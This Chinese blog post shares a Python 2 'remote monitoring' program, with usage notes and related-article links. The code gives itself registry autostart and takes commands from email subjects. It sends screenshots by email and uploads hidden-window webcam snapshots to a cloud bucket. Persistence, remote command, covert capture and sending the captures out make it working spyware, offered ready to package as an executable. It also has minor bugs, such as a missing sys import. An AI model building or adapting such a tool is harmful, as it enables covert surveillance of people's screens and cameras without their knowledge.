python操作攝像頭截圖實(shí)現(xiàn)遠(yuǎn)程監(jiān)控的例子
最近用python寫了一個(gè)遠(yuǎn)程監(jiān)控的程序,主要功能有:
1.用郵件控制所以功能
2.可以對(duì)屏幕截圖,屏幕截圖發(fā)送到郵箱
3.可以用攝像頭獲取圖片,這些圖片上傳到七牛
4.開機(jī)自啟動(dòng)
#coding by loster
#
import win32api
import win32con
import platform
import socket
import time
import os
import smtplib
import poplib
from VideoCapture import Device
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
import poplib,email
from email.header import decode_header
from PIL import ImageGrab
import qiniu.conf
import qiniu.io
import qiniu.rs
#去七牛申請(qǐng)
qiniu.conf.ACCESS_KEY = ""
qiniu.conf.SECRET_KEY = ""
#獲取ip
def getIP():
ip=socket.gethostbyname(socket.gethostname())
return ip
#獲取操作系統(tǒng)版本、
def getSystemVersion():
return platform.platform()
def send_Information(ip,system_version):
info='ip:'+ip+' '+'system version:'+system_version
print info
smtp=smtplib.SMTP()
smtp.connect('smtp.sina.com')
smtp.login('sender@sina.com','***') #改成自己的郵箱和密碼
smtp.sendmail('sender@sina.com','reveicer@qq.com',ip+' '+system_version)#把接收郵箱改成自己另外一個(gè)郵箱
#截圖,圖片名為截圖時(shí)間
def screen_capture():
#獲取截圖時(shí)間
pic_time=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
#pic_name='screen_capture'+time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
pic_name='screen'+pic_time+'.jpg'
pic = ImageGrab.grab()
pic.save('%s' % pic_name)
print pic_name
#發(fā)送圖片
send_Img(pic_time,pic_name)
print pic_name
os.remove(pic_name)#刪除圖片
#發(fā)送截圖圖片到郵箱
def send_Img(pic_time,pic_name):
msgRoot = MIMEMultipart('related')
msgRoot['Subject'] = pic_time
msgText = MIMEText('<b>capture</b> <br><img src="cid:image1">','html','utf-8')
msgRoot.attach(msgText)
#fp = open('F:\\1.jpg', 'rb')
fp = open(pic_name, 'rb')
msgImage = MIMEImage(fp.read())
fp.close()
msgImage.add_header('Content-ID', '<image1>')
msgRoot.attach(msgImage)
smtp = smtplib.SMTP()
smtp.connect('smtp.sina.com','25')
smtp.login("sender@sina.com","*****")
smtp.sendmail("sender@sina.com","receiver@qq.com", msgRoot.as_string())
smtp.quit()
print 'send success'
#攝像頭截圖,每隔SLEEP_TIME秒截取一張
def camera_capture():
#抓取頻率
SLEEP_TIME=3
i=0
cam=Device(devnum=0, showVideoWindow=0)
while i<10:
cam_time=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
cam_name='camera'+cam_time+'.jpg'
cam.saveSnapshot(cam_name,3,1,'bl')
camera_upload(cam_name)
print str(i)+cam_name
os.remove(cam_name)
time.sleep(SLEEP_TIME)
i+=1
#上傳到七牛
def camera_upload(file):
policy = qiniu.rs.PutPolicy('iloster') #空間名,iloster是我的空間名
uptoken = policy.token()
ret, err = qiniu.io.put_file(uptoken, None, file)
if err is not None:
sys.stderr.write('error: %s ' % err)
#獲取最新郵件
def accept_mail():
pop=poplib.POP3_SSL('pop.qq.com')
pop.user('receiver@qq.com')
pop.pass_('*****')
#獲取郵件數(shù)目
(num,totalSize)=pop.stat()
#獲取最新的郵件
(heard,msg,octets)=pop.retr(num)
mail=email.message_from_string("\n".join(msg))
subject=email.Header.decode_header(mail['subject'])[0][0] #標(biāo)題
pop.quit()
return subject
#獲得程序的路徑
def getPath():
path=os.getcwd()+'\Remote.exe' #最后打包的exe程序名必須為Remote.exe,或者把這里改一下
print path
return path
#添加開機(jī)自啟動(dòng),在注冊(cè)表里注冊(cè)
def add_start(path):
subkey='SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
key=win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,subkey,0,win32con.KEY_ALL_ACCESS)
#print win32api.RegQueryValueEx(key,'python')
win32api.RegSetValueEx(key,'python',0,win32con.REG_SZ,path)
print win32api.RegQueryValueEx(key,'python')
if __name__=='__main__':
add_start(getPath()) #添加開機(jī)自啟動(dòng)
send_Information(getIP(),getSystemVersion())
while 1: #不斷的監(jiān)聽
if accept_mail()=='screen': #當(dāng)獲取的郵件主題為screen時(shí),截取屏幕信息
screen_capture()
elif accept_mail()=='camera':
camera_capture()
注意:
1.我的發(fā)送郵箱是sina郵箱,接收郵箱是qq郵箱,這樣做是因?yàn)槲⑿趴梢越壎╭q郵箱。
2.accept_mail()監(jiān)聽的郵箱是自己的接收郵箱,就是我用的qq郵箱
3.當(dāng)監(jiān)聽到screen時(shí),開始屏幕截圖并發(fā)送到郵箱,由于監(jiān)聽的是最新的郵件,當(dāng)圖片發(fā)送帶郵箱時(shí),獲取的郵件主題不是screen了,應(yīng)該會(huì)停止截圖,最后只會(huì)截取一張圖片,繼續(xù)保持監(jiān)聽狀態(tài)。但實(shí)際由于網(wǎng)絡(luò)的原因,發(fā)送的郵件會(huì)有延遲,所以,實(shí)際截取的圖片會(huì)有很多張
4.當(dāng)監(jiān)聽到camera時(shí),會(huì)用攝像頭截圖,如果把while i<10,改成i=1,會(huì)讓攝像頭一直截圖,并使其他命令失效,所以我i<10,就是每獲取一次命令,截圖10張
相關(guān)文章
Python實(shí)現(xiàn)圖片和base64轉(zhuǎn)換詳解
這篇文章主要介紹了Python實(shí)現(xiàn)圖片和base64轉(zhuǎn)換詳解,Base64是一種二進(jìn)制到文本的編碼方式,如果要更具體一點(diǎn)的話,可以認(rèn)為它是一種將 byte數(shù)組編碼為字符串的方法,而且編碼出的字符串只包含ASCII基礎(chǔ)字符,需要的朋友可以參考下2024-01-01
django傳值給模板, 再用JS接收并進(jìn)行操作的實(shí)例
今天小編就為大家分享一篇django傳值給模板, 再用JS接收并進(jìn)行操作的實(shí)例,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧2018-05-05
Python中numpy.pad()函數(shù)的使用詳解
這篇文章主要介紹了Python中numpy.pad()函數(shù)的使用詳解,在卷積神經(jīng)網(wǎng)絡(luò)中,為了避免卷積運(yùn)算導(dǎo)致輸出圖像縮小和圖像邊緣信息丟失,常常采用圖像邊緣填充技術(shù),即在圖像四周邊緣填充0,使得卷積運(yùn)算后圖像大小不會(huì)縮小,同時(shí)也不會(huì)丟失邊緣和角落的信息,需要的朋友可以參考下2023-10-10
Python實(shí)現(xiàn)拷貝多個(gè)文件到同一目錄的方法
這篇文章主要介紹了Python實(shí)現(xiàn)拷貝多個(gè)文件到同一目錄的方法,涉及Python針對(duì)文件與目錄的遍歷、復(fù)制等相關(guān)操作技巧,需要的朋友可以參考下2016-09-09
python使用Berkeley DB數(shù)據(jù)庫實(shí)例
這篇文章主要介紹了python使用Berkeley DB數(shù)據(jù)庫的方法,以實(shí)例形式講述了完整的操作過程,并總結(jié)了具體的操作步驟,非常具有實(shí)用性,需要的朋友可以參考下2014-09-09
python腳本作為Windows服務(wù)啟動(dòng)代碼詳解
本篇文章給大家分享了用python腳本寫出作為Windows服務(wù)啟動(dòng)功能,對(duì)此有需求的朋友跟著小編一起學(xué)習(xí)下。2018-02-02
利用Python爬取微博數(shù)據(jù)生成詞云圖片實(shí)例代碼
這篇文章主要給大家介紹了關(guān)于利用Python爬取微博數(shù)據(jù)生成詞云圖片的相關(guān)資料,文中通過示例代碼介紹非常詳細(xì),對(duì)大家學(xué)習(xí)或者使用python具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧。2017-08-08

